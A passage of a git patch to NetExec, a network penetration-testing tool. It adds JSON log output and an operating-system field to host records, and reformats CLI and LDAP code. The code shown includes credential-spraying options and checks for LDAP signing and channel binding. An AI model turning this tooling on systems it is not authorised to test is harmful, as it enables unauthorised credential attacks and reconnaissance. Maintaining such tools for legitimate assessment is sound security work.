From f02a610a28c63d1083dac217648cf08d25675183 Mon Sep 17 00:00:00 2001 From: securifera Date: Sat, 10 Jan 2026 22:04:04 +0000 Subject: [PATCH 1/2] Add OS to host object and JSON output --- nxc/cli.py | 148 +++++--- nxc/logger.py | 239 ++++++++++-- nxc/protocols/ldap.py | 658 +++++++++++++++++++++++----------- nxc/protocols/mssql.py | 177 ++++++--- nxc/protocols/rdp.py | 155 +++++--- nxc/protocols/smb.py | 632 +++++++++++++++++++++----------- nxc/protocols/ssh.py | 124 ++++--- nxc/protocols/winrm.py | 196 ++++++---- nxc/protocols/wmi.py | 113 ++++-- nxc/protocols/wmi/database.py | 62 +++- 10 files changed, 1737 insertions(+), 767 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index 01d4ef4d2a..00a3bf6b4f 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -26,27 +26,44 @@ def gen_cli_args(): DISTANCE = "" CODENAME = "Yippie-Ki-Yay" - generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + generic_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone) generic_group = generic_parser.add_argument_group("Generic Options") - generic_group.add_argument("--version", action="store_true", help="Display nxc version") - generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use") - generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread") - generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication") - - output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + generic_group.add_argument( + "--version", action="store_true", help="Display nxc version") + generic_group.add_argument("-t", "--threads", type=int, dest="threads", + default=256, help="set how many concurrent threads to use") + generic_group.add_argument( + "--timeout", default=None, type=int, help="max timeout in seconds of each thread") + generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, + help="sets a random delay between each authentication") + + output_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone) output_group = output_parser.add_argument_group("Output Options") - output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan") - output_group.add_argument("--log", metavar="LOG", help="export result into a custom file") + output_group.add_argument("--no-progress", action="store_true", + help="do not displaying progress bar during scan") + output_group.add_argument("--log", metavar="LOG", + help="export result into a custom file") + output_group.add_argument( + "-j", "--json", action="store_true", help="output results in JSON format") log_level = output_group.add_mutually_exclusive_group() - log_level.add_argument("--verbose", action="store_true", help="enable verbose output") - log_level.add_argument("--debug", action="store_true", help="enable debug level information") + log_level.add_argument("--verbose", action="store_true", + help="enable verbose output") + log_level.add_argument("--debug", action="store_true", + help="enable debug level information") - dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + dns_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone) dns_group = dns_parser.add_argument_group("DNS") - dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6") - dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)") - dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries") - dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds") + dns_group.add_argument("-6", dest="force_ipv6", + action="store_true", help="Enable force IPv6") + dns_group.add_argument("--dns-server", action="store", + help="Specify DNS server (default: Use hosts file & System DNS)") + dns_group.add_argument("--dns-tcp", action="store_true", + help="Use TCP instead of UDP for DNS queries") + dns_group.add_argument("--dns-timeout", action="store", + type=int, default=3, help="DNS query timeout in seconds") parser = argparse.ArgumentParser( description=rf""" @@ -73,50 +90,80 @@ def gen_cli_args(): ) # we do module arg parsing here so we can reference the module_list attribute below - module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) + module_parser = argparse.ArgumentParser( + add_help=False, formatter_class=DisplayDefaultsNotNone) mgroup = module_parser.add_argument_group("Modules") - mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use") - mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options") - mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules") - mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options") - - subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol") - - std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone) - std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") + mgroup.add_argument("-M", "--module", choices=get_module_names(), + action="append", metavar="MODULE", help="module to use") + mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", + default=[], dest="module_options", help="module options") + mgroup.add_argument("-L", "--list-modules", nargs="?", + type=str, const="", help="list available modules") + mgroup.add_argument("--options", dest="show_module_options", + action="store_true", help="display module options") + + subparsers = parser.add_subparsers( + title="Available Protocols", dest="protocol") + + std_parser = argparse.ArgumentParser(add_help=False, parents=[ + generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone) + std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[ + 0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") credential_group = std_parser.add_argument_group("Authentication") - credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames") - credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords") - credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication") - credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file") - credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)") - credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes") - credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts") - credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username") - credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host") + credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", + nargs="+", default=[], help="username(s) or file(s) containing usernames") + credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", + nargs="+", default=[], help="password(s) or file(s) containing passwords") + credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, + dest="cred_id", help="database credential ID(s) to use for authentication") + credential_group.add_argument("--ignore-pw-decoding", action="store_true", + help="Ignore non UTF-8 characters when decoding the password file") + credential_group.add_argument("--no-bruteforce", action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2)") + credential_group.add_argument("--continue-on-success", action="store_true", + help="continues authentication attempts even after successes") + credential_group.add_argument("--gfail-limit", metavar="LIMIT", + type=int, help="max number of global failed login attempts") + credential_group.add_argument("--ufail-limit", metavar="LIMIT", + type=int, help="max number of failed login attempts per username") + credential_group.add_argument("--fail-limit", metavar="LIMIT", + type=int, help="max number of failed login attempts per host") kerberos_group = std_parser.add_argument_group("Kerberos Authentication") - kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication") - kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") - kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") - kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") - - certificate_group = std_parser.add_argument_group("Certificate Authentication") - certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") - certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") - certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") - certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") - certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format") + kerberos_group.add_argument( + "-k", "--kerberos", action="store_true", help="Use Kerberos authentication") + kerberos_group.add_argument("--use-kcache", action="store_true", + help="Use Kerberos authentication from ccache file (KRB5CCNAME)") + kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", + help="AES key to use for Kerberos Authentication (128 or 256 bits)") + kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", + help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + + certificate_group = std_parser.add_argument_group( + "Certificate Authentication") + certificate_group.add_argument( + "--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") + certificate_group.add_argument("--pfx-base64", metavar="PFXB64", + help="Use certificate authentication from pfx file encoded in base64") + certificate_group.add_argument( + "--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") + certificate_group.add_argument( + "--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") + certificate_group.add_argument( + "--pem-key", metavar="PEMKEY", help="Private key for the PEM format") p_loader = ProtocolLoader() protocols = p_loader.get_protocols() try: for protocol in protocols: - protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"]) - subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser]) + protocol_object = p_loader.load_protocol( + protocols[protocol]["argspath"]) + subparsers = protocol_object.proto_args( + subparsers, [std_parser, module_parser]) except Exception as e: - nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}") + nxc_logger.exception( + f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}") argcomplete.autocomplete(parser, always_complete_options=False) args = parser.parse_args() @@ -145,5 +192,6 @@ def get_module_names(): ] for path in modules_paths: - modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"]) + modules.extend([module[:-3] for module in listdir(path) + if module[-3:] == ".py" and module != "example_module.py"]) return sorted(modules, key=str.casefold) diff --git a/nxc/logger.py b/nxc/logger.py index 468fd667ea..a234302945 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -3,6 +3,8 @@ from logging.handlers import RotatingFileHandler import os.path import sys +import json +import re from nxc.console import nxc_console from nxc.paths import NXC_PATH from termcolor import colored @@ -18,10 +20,17 @@ def parse_debug_args(): debug_parser = argparse.ArgumentParser(add_help=False) debug_parser.add_argument("--debug", action="store_true") debug_parser.add_argument("--verbose", action="store_true") + debug_parser.add_argument("-j", "--json", action="store_true") args, _ = debug_parser.parse_known_args() return args +def strip_ansi_codes(text): + """Remove ANSI color codes from text""" + ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])') + return ansi_escape.sub('', str(text)) + + def setup_debug_logging(): debug_args = parse_debug_args() root_logger = logging.getLogger("root") @@ -42,7 +51,8 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs): temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) - handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) + handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, + caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) class SmartDebugRichHandler(RichHandler): @@ -62,6 +72,34 @@ def emit(self, record): super().emit(record) +class JSONFormatter(logging.Formatter): + """Custom formatter that outputs log records as JSON""" + + def format(self, record): + """Format a LogRecord into a JSON string""" + log_data = { + "timestamp": datetime.fromtimestamp(record.created).isoformat(), + "level": record.levelname, + "message": record.getMessage(), + } + + # Add extra fields if they exist + if hasattr(record, "protocol"): + log_data["protocol"] = record.protocol + if hasattr(record, "host"): + log_data["host"] = record.host + if hasattr(record, "port"): + log_data["port"] = record.port + if hasattr(record, "hostname"): + log_data["hostname"] = record.hostname + if hasattr(record, "module_name"): + log_data["module_name"] = record.module_name + if hasattr(record, "server_os"): + log_data["server_os"] = record.server_os + + return json.dumps(log_data) + + def no_debug(func): """Stops logging non-debug messages when we are in debug mode It creates a temporary logger and logs the message to the console and file @@ -72,7 +110,8 @@ def wrapper(self, msg, *args, **kwargs): if self.logger.getEffectiveLevel() >= logging.INFO: return func(self, msg, *args, **kwargs) else: - formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0]) + formatted_text = Text.from_ansi( + self.format(msg, *args, **kwargs)[0]) caller_frame = inspect.currentframe().f_back create_temp_logger(caller_frame, formatted_text, args, kwargs) self.log_console_to_file(formatted_text, *args, **kwargs) @@ -81,16 +120,32 @@ def wrapper(self, msg, *args, **kwargs): class NXCAdapter(logging.LoggerAdapter): def __init__(self, extra=None, merge_extra=False): - logging.basicConfig( - format="%(message)s", - datefmt="[%X]", - handlers=[RichHandler( - console=nxc_console, - rich_tracebacks=True, - tracebacks_show_locals=False - )], - encoding="utf-8" - ) + debug_args = parse_debug_args() + self.json_output = debug_args.json + + if self.json_output: + # Use JSON formatter for console output + json_formatter = JSONFormatter() + handler = logging.StreamHandler(sys.stdout) + handler.setFormatter(json_formatter) + logging.basicConfig( + format="%(message)s", + handlers=[handler], + encoding="utf-8" + ) + else: + # Use default RichHandler + logging.basicConfig( + format="%(message)s", + datefmt="[%X]", + handlers=[RichHandler( + console=nxc_console, + rich_tracebacks=True, + tracebacks_show_locals=False + )], + encoding="utf-8" + ) + self.logger = logging.getLogger("nxc") self.extra = extra self.merge_extra = merge_extra @@ -113,6 +168,10 @@ def format(self, msg, *args, **kwargs): This is used instead of process() since process() applies to _all_ messages, including debug calls """ + if self.json_output: + # For JSON output, just return the message as-is + return msg, kwargs + if self.extra is None: return f"{msg}", kwargs @@ -124,41 +183,139 @@ def format(self, msg, *args, **kwargs): return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs) # If the logger is being called from a protocol - module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"]) + module_name = colored(self.extra["module_name"], "cyan", attrs=[ + "bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"]) return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs) @no_debug def display(self, msg, *args, **kwargs): """Display text to console, formatted for nxc""" - msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs) - text = Text.from_ansi(msg) - nxc_console.print(text, *args, **kwargs) - self.log_console_to_file(text, *args, **kwargs) + if self.json_output: + # Output as JSON + log_entry = { + "timestamp": datetime.now().isoformat(), + "level": "INFO", + "type": "display", + "message": strip_ansi_codes(msg) + } + if self.extra: + if "protocol" in self.extra: + log_entry["protocol"] = self.extra["protocol"] + if "host" in self.extra: + log_entry["host"] = self.extra["host"] + if "port" in self.extra: + log_entry["port"] = self.extra["port"] + if "hostname" in self.extra: + log_entry["hostname"] = self.extra["hostname"] + if "module_name" in self.extra: + log_entry["module_name"] = self.extra["module_name"] + if "server_os" in self.extra: + log_entry["server_os"] = self.extra["server_os"] + + nxc_console.print(json.dumps(log_entry)) + else: + msg, kwargs = self.format( + f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs) + text = Text.from_ansi(msg) + nxc_console.print(text, *args, **kwargs) + self.log_console_to_file(text, *args, **kwargs) @no_debug def success(self, msg, color="green", *args, **kwargs): """Prints some sort of success to the user""" - msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs) - text = Text.from_ansi(msg) - nxc_console.print(text, *args, **kwargs) - self.log_console_to_file(text, *args, **kwargs) + if self.json_output: + # Output as JSON + log_entry = { + "timestamp": datetime.now().isoformat(), + "level": "SUCCESS", + "type": "success", + "message": strip_ansi_codes(msg) + } + if self.extra: + if "protocol" in self.extra: + log_entry["protocol"] = self.extra["protocol"] + if "host" in self.extra: + log_entry["host"] = self.extra["host"] + if "port" in self.extra: + log_entry["port"] = self.extra["port"] + if "hostname" in self.extra: + log_entry["hostname"] = self.extra["hostname"] + if "module_name" in self.extra: + log_entry["module_name"] = self.extra["module_name"] + if "server_os" in self.extra: + log_entry["server_os"] = self.extra["server_os"] + nxc_console.print(json.dumps(log_entry)) + else: + msg, kwargs = self.format( + f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs) + text = Text.from_ansi(msg) + nxc_console.print(text, *args, **kwargs) + self.log_console_to_file(text, *args, **kwargs) @no_debug def highlight(self, msg, *args, **kwargs): """Prints a completely yellow highlighted message to the user""" - msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs) - text = Text.from_ansi(msg) - nxc_console.print(text, *args, **kwargs) - self.log_console_to_file(text, *args, **kwargs) + if self.json_output: + # Output as JSON + log_entry = { + "timestamp": datetime.now().isoformat(), + "level": "HIGHLIGHT", + "type": "highlight", + "message": strip_ansi_codes(msg) + } + if self.extra: + if "protocol" in self.extra: + log_entry["protocol"] = self.extra["protocol"] + if "host" in self.extra: + log_entry["host"] = self.extra["host"] + if "port" in self.extra: + log_entry["port"] = self.extra["port"] + if "hostname" in self.extra: + log_entry["hostname"] = self.extra["hostname"] + if "module_name" in self.extra: + log_entry["module_name"] = self.extra["module_name"] + if "server_os" in self.extra: + log_entry["server_os"] = self.extra["server_os"] + nxc_console.print(json.dumps(log_entry)) + else: + msg, kwargs = self.format( + f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs) + text = Text.from_ansi(msg) + nxc_console.print(text, *args, **kwargs) + self.log_console_to_file(text, *args, **kwargs) @no_debug def fail(self, msg, color="red", *args, **kwargs): """Prints a failure (may or may not be an error) - e.g. login creds didn't work""" - msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs) - text = Text.from_ansi(msg) - nxc_console.print(text, *args, **kwargs) - self.log_console_to_file(text, *args, **kwargs) + if self.json_output: + # Output as JSON + log_entry = { + "timestamp": datetime.now().isoformat(), + "level": "FAIL", + "type": "fail", + "message": strip_ansi_codes(msg) + } + if self.extra: + if "protocol" in self.extra: + log_entry["protocol"] = self.extra["protocol"] + if "host" in self.extra: + log_entry["host"] = self.extra["host"] + if "port" in self.extra: + log_entry["port"] = self.extra["port"] + if "hostname" in self.extra: + log_entry["hostname"] = self.extra["hostname"] + if "module_name" in self.extra: + log_entry["module_name"] = self.extra["module_name"] + if "server_os" in self.extra: + log_entry["server_os"] = self.extra["server_os"] + nxc_console.print(json.dumps(log_entry)) + else: + msg, kwargs = self.format( + f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs) + text = Text.from_ansi(msg) + nxc_console.print(text, *args, **kwargs) + self.log_console_to_file(text, *args, **kwargs) def log_console_to_file(self, text, *args, **kwargs): """Log the console output to a file @@ -167,15 +324,19 @@ def log_console_to_file(self, text, *args, **kwargs): so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers) """ caller_frame = inspect.currentframe().f_back.f_back.f_back - if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers + # will be 0 if it's just the console output, so only do this if we actually have file loggers + if len(self.logger.handlers): try: for handler in self.logger.handlers: - handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None)) + handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, + lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None)) except Exception as e: - self.logger.fail(f"Issue while trying to custom print handler: {e}") + self.logger.fail( + f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + file_formatter = logging.Formatter( + "%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -183,17 +344,21 @@ def add_file_log(self, log_file=None): try: open(output_file, "x") # noqa: SIM115 except FileNotFoundError: - print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}") + print( + f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}") exit(1) file_creation = True - file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8") + file_handler = RotatingFileHandler( + output_file, maxBytes=100000, encoding="utf-8") with file_handler._open() as f: if file_creation: - f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") + f.write( + f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") else: - f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") + f.write( + f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n") file_handler.setFormatter(file_formatter) self.logger.addHandler(file_handler) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d96b996d41..e3051db757 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -104,7 +104,8 @@ def resolve_collection_methods(methods): validated_methods = [] for method in method_list: if method not in valid_methods: - nxc_logger.error("Invalid collection method specified: %s", method) + nxc_logger.error( + "Invalid collection method specified: %s", method) return False if method == "default": @@ -168,6 +169,7 @@ def proto_logger(self): "host": self.host, "port": self.port, "hostname": self.hostname, + "server_os": self.server_os, } ) @@ -177,14 +179,17 @@ def create_conn_obj(self): ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") - self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection( + ldap_url, dstIp=self.host) if self.ldap_connection: self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": - self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") + self.logger.fail( + f"LDAPs connection to {ldap_url} failed - {e}") # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority - self.logger.fail("Even if the port is open, LDAPS may not be configured") + self.logger.fail( + "Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") return False @@ -211,7 +216,8 @@ def get_ldap_username(self): if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): response_value = search_result["responseValue"] if response_value.hasValue(): - value = response_value.asOctets().decode(response_value.encoding)[2:] + value = response_value.asOctets().decode( + response_value.encoding)[2:] return value.split("\\")[1] return "" @@ -219,7 +225,8 @@ def check_ldap_signing(self): self.signing_required = False ldap_url = f"ldap://{self.target}" try: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + ldap_connection = ldap_impacket.LDAPConnection( + url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) ldap_connection.login(domain=self.domain) self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: @@ -227,22 +234,26 @@ def check_ldap_signing(self): self.logger.debug(f"LDAP signing is enforced on {self.host}") self.signing_required = True else: - self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}") + self.logger.debug( + f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}") def check_ldaps_cbt(self): self.cbt_status = "Never" ldap_url = f"ldaps://{self.target}" try: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection = ldap_impacket.LDAPConnection( + url=ldap_url, baseDN=self.baseDN, dstIp=self.host) ldap_connection.channel_binding_value = None ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: - self.logger.debug(f"LDAPS channel binding enforced on host {self.host}") + self.logger.debug( + f"LDAPS channel binding enforced on host {self.host}") self.cbt_status = "Always" # CBT is Required # Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported elif str(e).find("data 52e") >= 0: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection = ldap_impacket.LDAPConnection( + url=ldap_url, baseDN=self.baseDN, dstIp=self.host) new_cbv = bytearray(ldap_connection.channel_binding_value) new_cbv[15] = (new_cbv[3] + 1) % 256 ldap_connection.channel_binding_value = bytes(new_cbv) @@ -250,12 +261,15 @@ def check_ldaps_cbt(self): ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: - self.logger.debug(f"LDAPS channel binding is set to 'When Supported' on host {self.host}") + self.logger.debug( + f"LDAPS channel binding is set to 'When Supported' on host {self.host}") self.cbt_status = "When Supported" # CBT is When Supported else: - self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}") + self.logger.debug( + f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}") except SysCallError as e: - self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}") + self.logger.debug( + f"Received SysCallError when trying to enumerate channel binding support: {e!s}") if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]: self.cbt_status = "No TLS cert" else: @@ -269,7 +283,8 @@ def enum_host_info(self): try: resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), - attributes=["dnsHostName", "defaultNamingContext", "configurationNamingContext", "rootDomainNamingContext"], + attributes=["dnsHostName", "defaultNamingContext", + "configurationNamingContext", "rootDomainNamingContext"], sizeLimit=0, ) resp_parsed = parse_result_attributes(resp)[0] @@ -285,15 +300,18 @@ def enum_host_info(self): flags=IGNORECASE, )[3:] except Exception as e: - self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}") + self.logger.fail( + f"Failed to enumerate host info for {self.host}, error: {e!s}") - self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") + self.logger.debug( + f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") self.target = target self.targetDomain = target_domain self.baseDN = base_dn # Parse hostname and remoteName - self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target + self.hostname = self.target.split( + ".")[0].upper() if "." in self.target else self.target self.remoteName = self.target # Parse NTLM challenge @@ -304,10 +322,12 @@ def enum_host_info(self): negotiate = getNTLMSSPType1() bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() try: - response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] + response = self.ldap_connection.sendReceive(bindRequest)[ + 0]["protocolOp"] ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) except Exception as e: - self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") + self.logger.debug( + f"Failed to get target {self.host} ntlm challenge, error: {e!s}") if ntlm_challenge: ntlm_info = parse_challenge(ntlm_challenge) @@ -333,7 +353,8 @@ def enum_host_info(self): if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None - self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + self.logger.info( + f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") try: self.db.add_host( @@ -349,21 +370,29 @@ def enum_host_info(self): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"]) - cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) - ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" - - self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" + signing = colored("signing:Enforced", host_info_colors[0], attrs=[ + "bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"]) + cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=[ + "bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) + ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=[ + "bold"]) if self.no_ntlm else "" + + self.logger.extra["protocol"] = "LDAP" if str( + self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port self.logger.extra["hostname"] = self.hostname - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}") + self.logger.extra["server_os"] = self.server_os + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}") def kerberos_login(self, domain, username, password="", 